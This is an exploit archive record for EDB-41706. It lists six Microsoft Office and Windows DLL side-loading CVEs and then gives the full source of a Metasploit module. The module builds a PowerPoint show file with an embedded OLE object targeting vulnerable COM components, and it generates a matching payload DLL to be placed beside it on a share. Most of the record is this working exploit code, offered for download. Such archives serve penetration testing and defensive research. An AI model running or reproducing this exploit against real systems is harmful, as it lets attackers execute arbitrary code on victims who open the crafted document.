{"exploit":{"id":"EDB-41706","name":"Microsoft Office - 'MS15-132/MS16-014/MS16-025/MS16-041/MS16-070' OLE Multiple DLL Side Loading (Metasploit)","description":"Microsoft Office - 'MS15-132/MS16-014/MS16-025/MS16-041/MS16-070' OLE Multiple DLL Side Loading (Metasploit)","cves":["CVE-2016-3235","CVE-2016-0100","CVE-2016-0041","CVE-2015-6133","CVE-2015-6132","CVE-2015-6128"],"author":"Metasploit","published":"2015-12-08","platform":"windows","type":"local","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/41706","path":"exploits/windows/local/41706.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-41706.rb","vulnerabilities":[{"id":"CVE-2016-3235","state":"PUBLISHED","title":null,"titleSource":null,"description":"Microsoft Visio 2007 SP3, Visio 2010 SP2, Visio 2013 SP1, Visio 2016, Visio Viewer 2007 SP3, and Visio Viewer 2010 mishandle library loading, which allows local users to gain privileges via a crafted application, aka \"Microsoft Office OLE DLL Side Loading Vulnerability.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-3235","cvss":{"version":"3.1","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2016-3235"},"updatedAt":"2025-10-21T23:55:51.339Z","retrievedAt":"2026-11-26T13:09:42.338Z","stale":false,"error":null},{"id":"CVE-2016-0100","state":"PUBLISHED","title":null,"titleSource":null,"description":"Microsoft Windows Vista SP2 and Server 2008 SP2 mishandle library loading, which allows local users to gain privileges via a crafted application, aka \"Library Loading Input Validation Remote Code Execution Vulnerability.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-0100","cvss":{"version":"3.0","baseScore":8.4,"severity":"high","vectorString":"CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2016-0100"},"updatedAt":"2024-08-05T22:08:13.199Z","retrievedAt":"2026-11-26T13:20:08.431Z","stale":false,"error":null},{"id":"CVE-2016-0041","state":"PUBLISHED","title":null,"titleSource":null,"description":"Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, Windows 10 Gold and 1511, and Internet Explorer 10 and 11 mishandle DLL loading, which allows local users to gain privileges via a crafted application, aka \"DLL Loading Remote Code Execution Vulnerability.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-0041","cvss":{"version":"3.0","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2016-0041"},"updatedAt":"2024-08-05T22:08:13.366Z","retrievedAt":"2026-11-26T13:09:44.808Z","stale":false,"error":null},{"id":"CVE-2015-6133","state":"PUBLISHED","title":null,"titleSource":null,"description":"Microsoft Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT Gold and 8.1, and Windows 10 Gold and 1511 mishandle library loading, which allows local users to gain privileges via a crafted application, aka \"Windows Library Loading Remote Code Execution Vulnerability.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-6133","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2015-6133"},"updatedAt":"2024-08-06T07:15:13.141Z","retrievedAt":"2026-11-26T13:20:01.889Z","stale":false,"error":null},{"id":"CVE-2015-6132","state":"PUBLISHED","title":null,"titleSource":null,"description":"Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT Gold and 8.1, and Windows 10 Gold and 1511 mishandle library loading, which allows local users to gain privileges via a crafted application, aka \"Windows Library Loading Remote Code Execution Vulnerability.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-6132","cvss":null,"updatedAt":"2024-08-06T07:15:13.123Z","retrievedAt":"2026-11-26T13:20:01.749Z","stale":false,"error":"Some CVE details could not be refreshed"},{"id":"CVE-2015-6128","state":"PUBLISHED","title":null,"titleSource":null,"description":"Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, and Windows 7 SP1 mishandle library loading, which allows local users to gain privileges via a crafted application, aka \"Windows Library Loading Remote Code Execution Vulnerability.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-6128","cvss":null,"updatedAt":"2024-08-06T07:15:11.984Z","retrievedAt":"2026-11-26T13:20:01.752Z","stale":false,"error":"Some CVE details could not be refreshed"}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-41706.png?v=2","url":"https://exploitbin.com/exploits/EDB-41706","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-41706/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-41706/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"require 'zip'\nrequire 'base64'\nrequire 'msf/core'\nrequire 'rex/ole'\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = NormalRanking\n\n  include Msf::Exploit::FILEFORMAT\n  include Msf::Exploit::EXE\n\n  def initialize(info = {})\n    super(update_info(info,\n      'Name' => 'Office OLE Multiple DLL Side Loading Vulnerabilities',\n      'Description' => %q{\n        Multiple DLL side loading vulnerabilities were found in various COM components.\n        These issues can be exploited by loading various these components as an embedded\n        OLE object. When instantiating a vulnerable object Windows will try to load one\n        or more DLLs from the current working directory. If an attacker convinces the\n        victim to open a specially crafted (Office) document from a directory also\n        containing the attacker's DLL file, it is possible to execute arbitrary code with\n        the privileges of the target user. This can potentially result in the attacker\n        taking complete control of the affected system.\n      },\n      'Author' => 'Yorick Koster',\n      'License' => MSF_LICENSE,\n      'References' =>\n        [\n          ['CVE', '2015-6132'],\n          ['CVE', '2015-6128'],\n          ['CVE', '2015-6133'],\n          ['CVE', '2016-0041'],\n          ['CVE', '2016-0100'],\n          ['CVE', '2016-3235'],\n          ['MSB', 'MS15-132'],\n          ['MSB', 'MS16-014'],\n          ['MSB', 'MS16-025'],\n          ['MSB', 'MS16-041'],\n          ['MSB', 'MS16-070'],\n          ['URL', 'https://securify.nl/advisory/SFY20150801/com__services_dll_side_loading_vulnerability.html'],\n          ['URL', 'https://securify.nl/advisory/SFY20150805/event_viewer_snapin_multiple_dll_side_loading_vulnerabilities.html'],\n          ['URL', 'https://securify.nl/advisory/SFY20150803/windows_authentication_ui_dll_side_loading_vulnerability.html'],\n          ['URL', 'https://securify.nl/advisory/SFY20151102/shutdown_ux_dll_side_loading_vulnerability.html'],\n          ['URL', 'https://securify.nl/advisory/SFY20150802/shockwave_flash_object_dll_side_loading_vulnerability.html'],\n          ['URL', 'https://securify.nl/advisory/SFY20150806/ole_db_provider_for_oracle_multiple_dll_side_loading_vulnerabilities.html'],\n          ['URL', 'https://securify.nl/advisory/SFY20150905/nps_datastore_server_dll_side_loading_vulnerability.html'],\n          ['URL', 'https://securify.nl/advisory/SFY20150906/bda_mpeg2_transport_information_filter_dll_side_loading_vulnerability.html'],\n          ['URL', 'https://securify.nl/advisory/SFY20151101/mapsupdatetask_task_dll_side_loading_vulnerability.html'],\n          ['URL', 'https://securify.nl/advisory/SFY20150904/windows_mail_find_people_dll_side_loading_vulnerability.html'],\n          ['URL', 'https://securify.nl/advisory/SFY20150804/microsoft_visio_multiple_dll_side_loading_vulnerabilities.html'],\n        ],\n      'DefaultOptions' =>\n        {\n          'EXITFUNC' => 'thread',\n          'PAYLOAD' => 'windows/exec',\n          'CMD' => 'C:\\\\Windows\\\\System32\\\\calc.exe',\n        },\n      'Payload' => { 'Space'\t=> 2048, },\n      'Platform' => 'win',\n      'Arch' => [ ARCH_X86, ARCH_X64 ],\n      'Targets' =>\n        [\n          [ 'All', {} ],\n          [\n            'COM+ Services / Windows Vista - 10 / Office 2007 - 2016 (MS15-132)',\n              {\n                'DLL' => 'mqrt.dll',\n                # {ecabafc9-7f19-11d2-978e-0000f8757e2a}\n                'CLSID' => \"\\xC9\\xAF\\xAB\\xEC\\x19\\x7F\\xD2\\x11\\x97\\x8E\\x00\\x00\\xF8\\x75\\x7E\\x2A\"\n              }\n          ],\n          [\n            'Shockwave Flash Object / Windows 10 / Office 2013 (APSB15-28)',\n              {\n                'DLL' => 'spframe.dll',\n                # {D27CDB6E-AE6D-11cf-96B8-444553540000}\n                'CLSID' => \"\\x6E\\xDB\\x7C\\xD2\\x6D\\xAE\\xCF\\x11\\x96\\xB8\\x44\\x45\\x53\\x54\\x00\\x00\"\n              }\n          ],\n          [\n            'Windows Authentication UI / Windows 10 / Office 2013 - 2016 (MS15-132)',\n              {\n                'DLL' => 'wuaext.dll',\n                # {D93CE8B5-3BF8-462C-A03F-DED2730078BA}\n                'CLSID' => \"\\xB5\\xE8\\x3C\\xD9\\xF8\\x3B\\x2C\\x46\\xA0\\x3F\\xDE\\xD2\\x73\\x00\\x78\\xBA\"\n              }\n          ],\n          [\n            'Shutdown UX / Windows 10 / Office 2016 (MS15-132)',\n              {\n                'DLL' => 'wuaext.dll',\n                # {14ce31dc-abc2-484c-b061-cf3416aed8ff}\n                'CLSID' => \"\\xDC\\x31\\xCE\\x14\\xC2\\xAB\\x4C\\x48\\xB0\\x61\\xCF\\x34\\x16\\xAE\\xD8\\xFF\"\n              }\n          ],\n          [\n            'MapUpdateTask Tasks / Windows 10 / Office 2016 (MS16-014)',\n              {\n                'DLL' => 'phoneinfo.dll',\n                # {B9033E87-33CF-4D77-BC9B-895AFBBA72E4}\n                'CLSID' => \"\\x87\\x3E\\x03\\xB9\\xCF\\x33\\x77\\x4D\\xBC\\x9B\\x89\\x5A\\xFB\\xBA\\x72\\xE4\"\n              }\n          ],\n          [\n            'Microsoft Visio 2010 / Windows 7 (MS16-070)',\n              {\n                'DLL' => 'msoutls.dll',\n                # 6C92B806-B900-4392-89F7-2ED4B4C23211}\n                'CLSID' => \"\\x06\\xB8\\x92\\x6C\\x00\\xB9\\x92\\x43\\x89\\xF7\\x2E\\xD4\\xB4\\xC2\\x32\\x11\"\n              }\n          ],\n          [\n            'Event Viewer Snapin / Windows Vista - 7 / Office 2007 - 2013 (MS15-132)',\n              {\n                'DLL' => 'elsext.dll',\n                # {394C052E-B830-11D0-9A86-00C04FD8DBF7}\n                'CLSID' => \"\\x2E\\x05\\x4C\\x39\\x30\\xB8\\xD0\\x11\\x9A\\x86\\x00\\xC0\\x4F\\xD8\\xDB\\xF7\"\n              }\n          ],\n          [\n            'OLE DB Provider for Oracle / Windows Vista - 7 / Office 2007 - 2013 (MS16-014)',\n              {\n                'DLL' => 'oci.dll',\n                # {e8cc4cbf-fdff-11d0-b865-00a0c9081c1d}\n                'CLSID' => \"\\xBF\\x4C\\xCC\\xE8\\xFF\\xFD\\xD0\\x11\\xB8\\x65\\x00\\xA0\\xC9\\x08\\x1C\\x1D\"\n              }\n          ],\n          [\n            'Windows Mail Find People / Windows Vista / Office 2010 (MS16-025)',\n              {\n                'DLL' => 'wab32res.dll',\n                # {32714800-2E5F-11d0-8B85-00AA0044F941}\n                'CLSID' => \"\\x00\\x48\\x71\\x32\\x5F\\x2E\\xD0\\x11\\x8B\\x85\\x00\\xAA\\x00\\x44\\xF9\\x41\"\n              }\n          ],\n          [\n            'NPS Datastore server / Windows Vista / Office 2010 (MS16-014)',\n              {\n                'DLL' => 'iasdatastore2.dll',\n                # {48da6741-1bf0-4a44-8325-293086c79077}\n                'CLSID' => \"\\x41\\x67\\xDA\\x48\\xF0\\x1B\\x44\\x4A\\x83\\x25\\x29\\x30\\x86\\xC7\\x90\\x77\"\n              }\n          ],\n          [\n            'BDA MPEG2 Transport Information Filter / Windows Vista / Office 2010 (MS16-014)',\n              {\n                'DLL' => 'ehTrace.dll',\n                # {FC772AB0-0C7F-11D3-8FF2-00A0C9224CF4}\n                'CLSID' => \"\\xB0\\x2A\\x77\\xFC\\x7F\\x0C\\xD3\\x11\\x8F\\xF2\\x00\\xA0\\xC9\\x22\\x4C\\xF4\"\n              }\n          ],\n        ],\n      'Privileged' => false,\n      'DisclosureDate' => 'Dec 8 2015',\n      'DefaultTarget' => 0))\n\n    register_options(\n      [\n        OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']),\n      ], self.class)\n  end\n\n  def exploit\n    if target.name == 'All'\n        targets = @targets\n    else\n        targets = [ target ]\n    end\n\n    @arch.each do |a|\n      exploit_regenerate_payload('win', a, nil)\n      targets.each do |t|\n        if t.name == 'All'\n          next\n        end\n        print_status(\"Using target #{t.name}\")\n\n        dll_name = t['DLL']\n        if target.name == 'All'\n          ppsx_name = t.name.split(/\\//).first + \".ppsx\"\n        else\n          ppsx_name = datastore['FILENAME']\n        end\n\n        print_status(\"Creating the payload DLL (#{a})...\")\n\n        opts = {}\n        opts[:arch] = [ a ]\n        dll = generate_payload_dll(opts)\n        dll_path = store_file(dll, a, dll_name)\n        print_good(\"#{dll_name} stored at #{dll_path}, copy it to a remote share\")\n\n        print_status(\"Creating the PPSX file...\")\n        ppsx = get_ppsx(t['CLSID'])\n        ppsx_path = store_file(ppsx, a, ppsx_name)\n        print_good(\"#{ppsx_name} stored at #{ppsx_path}, copy it to a remote share\")\n      end\n    end\n  end\n\n  def store_file(data, subdir, filename)\n    ltype = \"exploit.fileformat.#{self.shortname}\"\n\n    if ! ::File.directory?(Msf::Config.local_directory)\n      FileUtils.mkdir_p(Msf::Config.local_directory)\n    end\n\n    subdir.gsub!(/[^a-z0-9\\.\\_\\-]+/i, '')\n    if ! ::File.directory?(Msf::Config.local_directory + \"/\" + subdir)\n      FileUtils.mkdir_p(Msf::Config.local_directory + \"/\" + subdir)\n    end\n\n    if filename and not filename.empty?\n      if filename =~ /(.*)\\.(.*)/\n        ext = $2\n        fname = $1\n      else\n        fname = filename\n      end\n    else\n      fname = \"local_#{Time.now.utc.to_i}\"\n    end\n\n    fname = ::File.split(fname).last\n\n    fname.gsub!(/[^a-z0-9\\.\\_\\-]+/i, '')\n    fname << \".#{ext}\"\n\n    path = File.join(Msf::Config.local_directory + \"/\" + subdir, fname)\n    full_path = ::File.expand_path(path)\n    File.open(full_path, \"wb\") { |fd| fd.write(data) }\n\n    report_note(:data => full_path.dup, :type => \"#{ltype}.localpath\")\n\n    full_path.dup\n  end\n\n  def create_ole(clsid)\n    ole_tmp = Rex::Quickfile.new('ole')\n    stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE)\n\n    stm = stg.create_stream(\"\\x01OLE10Native\")\n    stm.close\n\n    directory = stg.instance_variable_get(:@directory)\n    directory.each_entry do |entry|\n      if entry.instance_variable_get(:@_ab) == 'Root Entry'\n        clsid = Rex::OLE::CLSID.new(clsid)\n        entry.instance_variable_set(:@_clsId, clsid)\n      end\n    end\n\n    # write to disk\n    stg.close\n\n    ole_contents = File.read(ole_tmp.path)\n    ole_tmp.close\n    ole_tmp.unlink\n\n    ole_contents\n  end\n\n  def get_ppsx(clsid)\n    path = ::File.join(Msf::Config.data_directory, 'exploits', 'office_ole_multiple_dll_hijack.ppsx')\n    fd = ::File.open(path, \"rb\")\n    data = fd.read(fd.stat.size)\n    fd.close\n    ppsx = Rex::Zip::Archive.new\n\n    Zip::InputStream.open(StringIO.new(data)) do |zis|\n      while entry = zis.get_next_entry\n        ppsx.add_file(entry.name, zis.read)\n      end\n    end\n\n    ppsx.add_file('/ppt/embeddings/oleObject1.bin', create_ole(clsid))\n    ppsx.pack\n  end\n\nend","sha256":"4983f6c253b7907c6fac56a9898ad1e66c900126081849a92f28d4703b66d692","bytes":10138,"fetchedAt":"2026-11-26T13:09:42.209Z","encoding":"utf-8 (display only; download retains original bytes)"}